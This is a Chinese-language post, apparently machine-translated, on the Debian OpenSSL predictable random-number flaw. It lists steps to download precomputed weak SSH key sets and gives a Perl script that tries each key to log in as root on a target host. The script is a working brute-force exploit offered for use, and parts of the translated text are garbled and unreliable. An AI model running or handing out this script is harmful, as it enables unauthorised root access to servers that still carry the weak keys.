Debian OpenSSL可预测的PRNG暴力破解SSH分析
解开Debian OpenSSL内的ssh钥匙只有65.536可能性,导致唯一的熵是引起钥匙的过程的Pid.
这导致以下perl脚本程序可以使用与暴力的预先计算好的ssh钥匙。如果钥匙在一个非被修补的debian或其他系统指南被安装配置,它就会运作。
在一个未修补的系统中,不需要Debian,做以下工作:
keys provided by HD Moore - http://metasploit.com/users/hdm/tools/debian-openssl/
1. Download http://sugar.metasploit.com/debian_ssh_rsa_2048_x86.tar.bz2
http://milw0rm.com/sploits/debian_ssh_rsa_2048_x86.tar.bz2
2. 提取它对应目录
3. 输入/root/.ssh/authorized_keys与2048位的SSH RSA钥匙,引起在Upatched Debian (这是这盘剥将增殖比的钥匙 eak)
4. 运行perl脚本程序并且给它提取bzip2的位置.
复制内容到剪贴板
代码:
#!/usr/bin/perl
my $keysPerConnect = 6;
unless ($ARGV[1]) {
print "Syntax : ./exploiter.pl pathToSSHPrivateKeys SSHhostToTry\n";
print "Example: ./exploiter.pl /root/keys/ 127.0.0.1\n";
print "By hack01[at]live[dot]cn\n";
exit 0;
}
chdir($ARGV[0]);
opendir(A, $ARGV[0]) || die("opendir");
while ($_ = readdir(A)) {
chomp;
next unless m,^\d+$,;
push(@a, $_);
if (scalar(@a) > $keysPerConnect) {
system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i ".$_ } @a)." ".$ARGV[1]);
@a = ();
}
}